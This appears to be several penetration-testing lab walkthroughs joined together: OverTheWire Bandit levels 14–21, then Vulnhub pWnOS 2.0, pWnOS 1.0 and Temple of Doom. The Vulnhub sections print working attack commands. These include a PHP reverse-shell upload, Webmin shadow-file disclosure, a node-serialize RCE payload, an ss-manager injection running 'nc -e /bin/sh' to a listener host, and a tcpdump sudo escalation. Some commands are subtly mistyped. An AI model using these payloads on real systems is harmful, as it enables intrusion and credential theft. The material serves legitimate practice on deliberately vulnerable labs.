OverTheWire – Bandit Walkthrough (14-21)

Today, we will continue to play the war-game called Bandit. OverTheWire Organization hosts this war-game. To play this war-game, go to the Bandit website by clicking here. Get the solutions of Level 1-14 from here.

Objective

Find the password file. It will give us access to the next level.

Table of Content:

•                 Level 14-15

•                 Level 15-16

•                 Level 16-17

•                 Level 17-18

•                 Level 18-19

•                 Level 19-20

•                 Level 20-21

Level 14-15

In the previous article, we got the password for level 14 and have successfully connected as user bandit14. We are informed that the password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost. First, we retrieve the password for the current level. We used the cat command to print the password as shown in the given image. To connect to port 30000, we are using telnet. After connecting we enter the current password it is checked and upon matching the password for the next level is printed on the screen. We will use this password to get an SSH connection as bandit15

cat /etc/bandit_pass/bandit14

telnet localhost 30000

ssh bandit15@localhost

Level 15-16

On this level, we are informed that the password for the next level is retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption. We use the openssl command with parameters like s_client that implements that we are the connecting as the client using the hostname localhost at port 30001. We use -ign_eof to inhibit shutting the connection when the end of file is reached in the input.

openssl s_client -connect localhost:30001 -ign_eof

After establishing the connection, we provide it with the password for the bandit15. It is verified and after verification, the password for the next level is provided. We will use this password to get an SSH connection as bandit16.

ssh bandit16@localhost

Level 16-17

Initially, we are informed that the credentials for the next level can be retrieved by connecting to a port within the range of 31000 to 32000 and submitting the password of bandit16. We use Nmap to scan the ports to get the exact port from the range. As we can see in the output of the Nmap scan that on port 31790 there is a message that hints that we need to enter the password on that port.

nmap -A localhost -p 31000-32000 

Now we will connect to this port using openssl as localhost.

openssl s_client -connect localhost:31790

After connecting to the port, we will have to enter the password of bandit16. This password goes under verification. Upon a successful match, we are provided with an RSA key.

Now to use this RSA key, we need to create a private key. But we can’t do this inside the home directory as we lack necessary permissions. So, we create a directory in /tmp directory using mkdir command. On traversing to that newly created directory, we will create a private key. We can name it anything we want. Here we are using the nano editor to create the private key.

mkdir /tmp/pavan_ssh

cd /tmp/pavan_ssh

nano pavan.private

After running the nano command, we will be prompted to press the Enter key to continue. On doing that the private key will be opened to edit using nano. Now we will paste the RSA key we found earlier. Now to exit we will press Ctrl and x keys simultaneously. There would be a prompt asking us to save the updates. We will press ‘y’ followed by this, nano will ask us if we want to rename the file. After this, we would have successfully created a private key using the RSA we were provided before.

SSH won’t allow any private key with such open permissions. So, we will have to change the permissions. We will use the chmod command to apply the permissions equivalent to 600. This means that only the owner can read and write the file. We will use this private key to get an SSH connection as bandit17.

chmod 600 pavan.private

ssh bandit17@localhost -i pavan.private

Level 17-18

Upon logging in as bandit17, we run the ls command to look for any files. We see that we have two files, password.new and password.old. Now we have informed that password for the next level the only line that has been changed between both files. We will use the diff command to find that password. And the diff command gives us the required password. We will use this password to get an SSH connection as bandit18.

ls

diff passwords.old passwords.new

ssh bandit18@localhost

Now on providing with the correct password our connection was closed. This is because the authors of this level have modified the .bashrc file to log us out of ssh. We will use the -t parameter to disable the pseudo -tty allocation. As this is making our session vulnerable to get closed. Let’s connect ssh again as shown in the given image.

ssh -T bandit18@localhost

This time we got a shell, it may be not visible but it is there. We can run commands here. First, let’s try the ls command. This gives us the readme file. Upon reading that file, we get what seems like credentials for the next level. We will use this password to get an SSH connection as bandit19.

ls

readme

cat readme

ssh bandit19@localhost

Level 19-20

After successfully getting the ssh to user bandit19, we start with ls command to see what we got this time. We have a file that seems like a script. We tried to run to see the working of the script. We are shown that the script runs a command as another user. Now we were informed that the password is stored at /etc/bandit_pass/. So, we run the script with the cat command to read the password for the next level. We will use this password to get an SSH connection as bandit20.

ls

./bandit20-do

./bandit20-do cat /etc/bandit_pass/bandit20

ssh bandit20@localhost

Level 20-21

We are informed that there is a setuid binary in this level whose job is to make a connection to localhost on a port and read the password used to login as bandit20 and then send the password for the next level. First, let’s see the files we have using the command ls. We have a script suconnect. On running this command without any parameters, we see that it requires a port to connect to. Now here is the part where it gets tricky. The image given below is one instance of the shell. We will execute to the point where we run suconnect without parameters and create other instance of the same shell. Run a netcat listener over another instance on the same port we are planning to suconnect. But we need to start listener before running the suconnect. On running the suconnect. Netcat will grab a session. Now we enter the password that we used to login as user bandit20. As we can see that the password, we entered is read by the suconnect and when the password is verified. Password for the next level is sent to the listener.

ls

./suconnect

./suconnect 4444

Image shown below is the execution of the first instance.

nc -lvp 4444

Image shown below is the execution of the second instance.

Now that we have the password for the next level, we move back to our first instance and used the password to login as user bandit21 using SSH.

ssh bandit21@localhost

Hack the pWnOS: 2.0 (CTF Challenge)

Hello friends!! Today we are going to solve a fun CTF challenge named “pWnOS: 2.0” presented on Vulnhub for practising Penetration Testing by pWnOS. This virtual machine is having intermediate to medium difficulty level. You can download the Lab from here.

Initial Configuration of Lab:

Configure your attacking platform to be within the 10.10.10.0/24 network range.

We set the VMWare’s Network Adapter to Host-Only but can set it to either NAT or Host-Only depending on your setup.

Lab Network Settings:

IP: 10.10.10.100                                                                                                                                    Netmask: 255.255.255.0                                                                                                                                                       Gateway: 10.10.10.15

Goal: Get Root Shell.

Penetrating Methodologies

·          Network Scanning (Nmap, netdiscover)

·         Directory busting the server

·         Getting Logon Credentials (Metasploit)

·         Upload php reverse shell

·         Get Limited Shell

·         Enumerate Root Credentials

·         Get Root

Let’s Start!!!

Usually we start by getting the IP Address of the Lab. In this case we already know the static IP address of the Lab, but still for the sake of doing it let’s do it.

netdiscover

Now let’s move towards enumeration in context to identifying the running services and open ports of victim’s machine by using the most popular tool Nmap.

nmap -A 10.10.10.100

Knowing port 80 is open in victim’s network I preferred to explore his IP in the browser. It seems a basic site with a login form and Register form.

But I tried to follow another set of direction by running a Web Content Scanner (dirb) and found the blog directory.

dirb http://10.10.10.100/

After finding the blog directory, I tried to open the blog directory in the browser, it gave another simple looking webpage when looked at the first glance seems not interesting but as we know that the authors of these labs usually like to hide in plain sight. So, I opened the source code of the Webpage.

And as I closely inspected the source code, I ran into the line shown in the screenshot, it is an important hint as it tells us that the Website runs on Simple PHP Blog and the Version 0.4.0.

Simple PHP Blog is also known as ‘sphpblog’. So, I searched for any possible exploits for sphpblog in Metasploit framework. I found a bunch of them. Among them, I though to try out the exploit/unix/webapp/sphpblog_file_upload.

In Metasploit Shell I ran the following command to exploit:

use exploit/unix/webapp/sphpblog_file_upload

use exploit/unix/webapp/sphpblog_file_upload

msf exploit(sphpblog_file_upload) > set rhost 10.10.10.100

msf exploit(sphpblog_file_upload) > set uri /blog

msf exploit(sphpblog_file_upload) > exploit

This exploit failed to give us and any shell, but it gets creative and created a Logon Credentials as shown in the Screenshot.

Let’s use these credentials to Login

Username: WJx2Fp

Password: PiRpoM

 (You will get a different set of Logon Credentials as the Exploit generated them unique every time.)

Logging In gave us some addition option in the Menu. Among which the Upload Image Option took my attention.

Upload image option opens a simple Upload webpage. Let’s try to upload the php-reverse-shell.php which is inbuilt in kali Linux from path: /user/share/webshells/php. Although uploading php files most probably will be not allowed.

Wow!! We successfully uploaded the php-reverse-shell directly. This is awesome.

So, I browsed to the location of the uploaded php file, which is 10.10.10.100/blog/images. (Found this location in the initial dirb scan)

Now let’s open the file and start netcat listen in a new terminal to get victim’s reverse connection.

nc -lvp 1234

We got an improper shell, let’s convert it into a proper shell using the python one-liner

python -c ‘import pty;pty.spawn(“/bin/bash”)’

Now, traversing Directory to Directory, files to files, I ended up in the /var directory and here I found a php file named mysqli_connect.

On opening this file using cat, I found the root credentials

cat mysqli_connect.php

Root Credentials

Username: root

Password: ISIntS

Now let’s wrap up this lab by getting the root shell, for this I will using a ssh connection to the lab generated with the root credentials and as you can see in the screenshot given, we got the root shell.

ssh root@10.10.10.100

Hack the pWnOS-1.0 (Boot To Root)

Hello friends today we are going to solve another CTF challenge “pWnOS-1.0” of the vulnhub labs. The level of this challenge is not so tough and its difficulty level is described as beginner/intermediate. You can download it from here https://www.vulnhub.com/entry/pwnos-10,33/

Vernerabilities:

·         Arbitrary File Disclosure

·         Privilege Escalation

·         Weak Credentials

Penerating Methodlogies:

·         Network Scaning (Nmap)

·         Exploiting web application (Metasploit)

·         Extracting arbitrary file

·         1st Method

·         SSH Brute-force

·         Spawning TTY shell (Via SSH rsa key)

·         Kernel Privilege Escalation

·         2nd Method

·         Cracking password hashes (John the ripper)

·         Spawning TTY shell (via SSH login)

·         Kernel Privilege Escalation

Let’s Begin!!

Start with netdiscover command to identify target IP in the local network, in my network 192.168.1.105 is my target IP, you will get yours.

Further let’s enumerate open and protocols information in the target’s network with help of nmap following command:

nmap –A 192.168.1.105

From its result we found port 22 for SSH and 80, 1000 for HTTP are open. Moreover webmin - a web interface is running over port 1000.

So I check related its exploit inside metasploit and luckily found it can be exploited by nasty people to disclose potentially sensitive information. So with help of following command we execute this exploit to extract /etc/passwd file from inside the victim’s vm.

use auxiliary/admin/webmin/file_disclosure

msf auxiliary(file_disclosure) > set rhost 192.168.1.105

msf auxiliary(file_disclosure) > exploit

As you can observe we have fetched available username of the victim’s system.

msf auxiliary(file_disclosure) > set rpath /etc/shadow

msf auxiliary(file_disclosure) > exploit

As you can observe we have also fetched shadow file of the victim’s system which hold password hashes.

msf auxiliary(file_disclosure) > set rpath /home/Obama/.ssh/authorized_keys

msf auxiliary(file_disclosure) > exploit

As you can observe that we got SSH authorized key and we can also enumerate username from inside the passwd. Now to obtain rsa key of SSH we can apply brute-force attack valid combination of authorized key and rsa key.

1st Method to Exploit

To do so we downloaded a tar file with help of following command.

wget https://github.com/offensive-security/exploit-database-bin-sploits.git

Then extract the tar file with help of following command:

tar vxjf 5622.tar.bz2

Move into extract folder and execute following for Grabbing valid combination of key.

cd rsa

grep -lr {authorized_key}

Great we successfully got rsa_key for authorized key.

Let’s login into SSH using above enumerated credential

ssh -i 2048/dcbe2a56e8cdea6d17495f6648329ee2-4679.pub  obama@192.168.1.105

Yippeeee!! We logged in successfully, let’s find kernel details and then search its exploit.

uname -a

So we found C-program file for exploit 5092 inside kali, let’s transfer it into Victim’s machine.

Inside victim’s shell we run following to download kernel exploit in his VM and compile it then Got root access on executing

cd /tmp

wget http://192.168.1.107/5902.c

gcc5092.c -o shell

chmod 777 shell

./shell

Booommm! Here we have Root access.

2^nd Method

As you have seen that with the help of metasploit exploit we successfully fetched information of /etc/shadow file. So with the help of john we can crack the hash password of shadow file.

john wordlist=/usr/share/wordlists/rockyou.txt pass

So we got password h4ckm3 for vmware, let’s use it for SSH login.

ssh vmware@192.168.1.105

Now repeat above step for root privilege escalation and after exploiting its kernel, you get the root as shown in the image.

Hack the Temple of Doom (CTF Challenge)

Temple of Doom is a new CTF challenge vm on vulnhub made by 0katz. You can download it from here. The aim of this lab is to capture the flag in root directory of the system. Inspired from the Indiana Jones movie Temple of Doom, the level of this lab is intermediate.

Steps Involved

·         Port scanning

·         Burp intercept to capture cookies.

·         Cookie processing for node serialize RCE vulnerability.

·         Getting the current user by RCE.

·         Getting a netcat shell for current user.

·         Discovering ss-manager being run as root.

·         Exploiting command execution vulnerability on ss-manager to get a netcat shell

·         Shell crafting from tcpdump and sudo

·         Getting a netcat shell as root.

·         Grabbing the flag.

Let’s get started

First and foremost, we scanned the IP address with the most popular scanning tool called nmap. It discovered all the ports open on the victim’s system.

nmap –A 192.168.1.130

Hence, we observed that port 666 is hosting a node.js express framework so there must definitely be a webpage at port 666. We tried to open the URL on the browser and obtained the following result.

We also opened the source code behind the page but nothing seemed to impress us. So, it was time to capture the page’s request using Burp Suite. Burp Suite acted as a proxy and revealed the activity going behind the front end.

We got a cookie which was double encoded. It was a Base64 + URL encoding (because we observed “%3D” in the end of the cookie which is nothing but a URL encoding).

So, we sent this request to the repeater and then decoded the cookie using these keyboard shortcuts:

CTRL+SHIFT+U (to decode URL)

CTRL+SHIFT+B (to decode base64)

We observed the username and some token details in the cookie. But here was an addon in the information, when we refreshed the page again, it gave us an error like:

So, it gave us a hint to look over at the cookie we just decoded. We observed that there was a missing quotation mark before Friday. Hence, we fixed the quotation mark first.

Then we encoded the cookie again to replicate the format of the cookie that we got before with the keyboard shortcuts:

CTRL+B (To encode in base64)

CTRL+U (to encode in URL)

And then we forwarded it to observe the following output:

We inferred from the response of repeater that the page will output the username provided in the cookie.

We looked at the cookie again, it was of the format:

{"username": “”, “csrftoken……..}

We removed the rest of the token details first to check for any errors.

We then encoded it and sent a request to the server and checked its response in repeater.

It seemed to be working even without Token details. Then we edited the username with a custom input. Example:  {“username”:“Harshit” }

Repeating the process of encoding it and sending it to the repeater yielded the following result to us.

Hence, we finally established that node-serialize was used. (You can read more about node-serialize here ).

What serialize does is that it determines, which data of the user object should be stored in the session. The user id (you provide as the second argument of the function) is saved in the session and is later used to retrieve the whole object via the unserialize function.

Which turned out to be vulnerable! Refer to this article to read about how node-serialize is vulnerable to Remote Code Execution!

Hence, we used the shell provided to us by Ajin Abraham (on his blog) we modified the username argument with the shell.

The shell:

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}

Explanation of the shell:

_$$ND_FUNC$$_function() : Executes a function locally.

child_process is a module in node.js that spawns child processes in a manner similar to popen(3).

child_process.exec () method: This method runs a command in a console and buffers the output.

It specifies string Shell to execute the command with ( Defafult: '/bin/sh' on UNIX)

So, the shell we made told us the current user on Linux system. We encoded it and forwarded it.

Hence, the current user was nodeadmin.

We then executed the command ls –lart

Encoded it and forwarded it and the following output was observed:

After establishing this much information, we ran a reverse netcat shell command.

Then we encoded it again and forwarded the request. Side by side, we activated a listener on kali and BOOM! We got a connection.

id

It showed us the current user was nodeadmin.

We then tried to spawn a TTY shell using python utility in victim’s machine.

python –c ‘import pty;pty.spawn(“/bin/bash”)’

Which gave us a teletype!

cd /home

ls

cd fireman

Permission Denied!

We also observed that nodeadmin doesn’t have a proper access to the folder fireman. Since, nodeadmin is not the root, fireman directly or indirectly could give us the root.

Let us see if any process is run by fireman as root or not

ps aux | grep fireman

We observed that ss-manager is run by fireman as root. After googling a little, we found that ss-manager was vulnerable to remote code execution (refer here).

ss-manager is short for Shadowsocks.

Shadowsocks-libev is a lightweight secured SOCKS5 proxy for embedded devices
and low-end boxes. The ss-manager is meant to control shadowsocks servers
for multiple users, it spawns new servers if needed.

Hence, we’ll use Shadowsocks with netcat command execution by:

nc –u 127.0.0.1 8839

add: {“server_port":8003, "password":"test", "method":"||nc –e /bin/sh 192.168.1.106 4444 ||"}

Side by side, we activated a netcat listener and obtained a shell.

Then, we spawned a teletype(TTY) using python again and then we checked for the sudoers list using:

id

python –c ‘import pty;pty.spawn(“/bin/bash”)’

sudo –l

We observed that tcpdump is present which could also be used for remote code execution!

To execute a shell, we moved to the directory /tmp since any user can read, write or execute files in this directory.

cd /tmp

echo “nc –e /bin/bash 192.168.1.106 8888” > shell

chmod 777 shell

sudo tcpdump –ln –I eth0 –w /dev/null –W 1 –G 1 –z /tmp/shell –Z root

The above commands changed the directory to tmp, created a file called shell with a reverse netcat shell, changed the permission of the file of that file to RWX and finally used sudo and tcp dump for remote code execution!

Side by side we setup a netcat listener:

nc –lvp 8888

Again, we spawned a teletype using python:

python –c ‘import pty;pty.spawn(“/bin/bash”)’

BOOM! We have the root access!

In the end, we found the flag in the root directory!

cd /root

ls

cat flag.txt

CONGRATS! You too are a soldier now!